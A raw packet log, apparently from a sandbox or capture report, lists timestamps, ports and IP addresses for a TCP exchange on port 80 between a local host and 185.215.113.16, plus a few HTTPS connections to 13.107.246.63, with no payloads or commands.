Dec 3, 2024 17:41:39.309962034 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.310904026 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.310918093 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.310971022 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.311767101 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.311816931 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.312288046 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.312988043 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.313000917 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.313065052 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.314233065 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.314246893 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.314363956 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.315608025 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.315619946 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.315660954 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.317051888 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.317064047 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.317147970 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.318406105 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.318417072 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.318475962 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.319643021 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.319653034 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.319730043 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.321105957 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.321119070 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.321163893 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.322374105 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.322384119 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.322438955 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.323688984 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.323705912 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.323787928 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.325140953 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.325150967 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.325248957 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.326395035 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.326406956 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.326453924 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.327676058 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.327687979 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.327783108 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.329035044 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.329045057 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.329121113 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.330487967 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.330499887 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.330554962 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.331979990 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.331990957 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.332034111 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.333442926 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.333455086 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.333508968 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.334944963 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.334958076 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.334966898 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.335015059 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.335030079 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.336416960 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.336429119 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.337272882 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.337923050 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.337933064 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.338021040 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.339411020 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.339422941 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.339473963 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.340884924 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.340894938 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.340898991 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.340965033 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.342525005 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.342542887 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.342643023 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.344156027 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.344166040 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.344245911 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.345339060 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.345350981 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.345431089 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.346867085 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.346879005 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.346916914 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.348326921 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.348346949 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.348357916 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.348402023 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.348416090 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.349858046 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.349870920 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.349914074 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.351300955 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.351316929 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.351381063 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.352796078 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.352807999 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.352889061 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.354257107 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.354269028 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.354274035 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.354367971 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.355751038 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.355762005 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.355803013 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.357245922 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.357259035 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.357350111 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.358691931 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.358719110 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.358762980 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.360212088 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.360224009 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.360280037 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.361721039 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.361743927 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.361752987 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.361799002 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.361813068 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.363183022 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.363194942 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.363251925 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.364661932 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.364671946 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.364741087 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.366142035 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.366153002 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.366205931 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.367631912 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.367643118 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.367646933 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.367707968 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.369118929 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.369129896 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.369205952 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.370575905 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.370595932 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.370640993 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.372112036 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.372123003 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.372164011 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.373599052 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.373611927 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.373666048 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.375121117 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.375132084 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.375142097 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.375168085 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.375195980 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.376483917 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.423789978 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.507339001 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.507476091 CET	443	49770	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:39.507496119 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.507586002 CET	443	49770	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:39.507628918 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.507632971 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.507699013 CET	49770	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:39.507921934 CET	49770	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:39.507941008 CET	443	49770	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:39.507958889 CET	49770	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:39.507963896 CET	443	49770	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:39.508291960 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.508969069 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.509026051 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.509769917 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.509960890 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.510669947 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.510683060 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.510831118 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.511575937 CET	49778	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:39.511619091 CET	443	49778	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:39.511657953 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.511701107 CET	49778	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:39.511885881 CET	49778	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:39.511900902 CET	443	49778	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:39.512311935 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.512371063 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.513031006 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.513042927 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.513093948 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.514314890 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.514997005 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.515010118 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.515074015 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.516331911 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.517046928 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.517059088 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.517117023 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.518383026 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.518394947 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.518460035 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.519697905 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.519709110 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.519757986 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.521007061 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.521018028 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.521065950 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.522372007 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.522382021 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.522433043 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.523715019 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.523725986 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.523780107 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.525170088 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.525182009 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.525237083 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.526364088 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.526376963 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.526422024 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.527704000 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.527717113 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.527770996 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.529062033 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.529074907 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.529126883 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.530389071 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.530404091 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.530452013 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.531742096 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.531753063 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.531804085 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.533070087 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.533092976 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.533169031 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.534408092 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.534420013 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.534478903 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.535886049 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.535896063 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.535963058 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.537375927 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.537388086 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.537431002 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.538877010 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.538891077 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.538947105 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.540363073 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.540376902 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.540390015 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.540427923 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.541826963 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.541840076 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.541898012 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.543765068 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.543776989 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.543833017 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.544811010 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.544822931 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.544872046 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.546304941 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.546318054 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.546325922 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.546375990 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.547015905 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.547775030 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.547796011 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.547858000 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.549240112 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.549252987 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.549302101 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.550736904 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.550781012 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.550838947 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.552314043 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.552325964 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.552370071 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.553738117 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.553750992 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.553756952 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.553853989 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.555210114 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.555222034 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.555273056 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.556685925 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.556708097 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.556746006 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.558190107 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.558202982 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.558259964 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.559660912 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.559674025 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.559685946 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.559737921 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.559772968 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.561233997 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.561269999 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.561323881 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.562649965 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.562661886 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.562715054 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.564106941 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.564120054 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.564166069 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.565607071 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.565618038 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.565668106 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.567078114 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.567104101 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.567116022 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.567152023 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.568567991 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.568581104 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.568623066 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.570058107 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.570070982 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.570135117 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.571573019 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.571604013 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.571657896 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.573014975 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.573035955 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.573045969 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.573066950 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.573093891 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.574556112 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.574573994 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.574616909 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.575978041 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.575999975 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.576044083 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.577431917 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.626840115 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.710892916 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.711189032 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.711383104 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.711808920 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.711828947 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.711879969 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.713022947 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.713701963 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.713815928 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.714394093 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.714407921 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.714462042 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:39.715696096 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.716486931 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.716499090 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:39.716537952 CET	49764	80	192.168.2.7	185.215.113.16
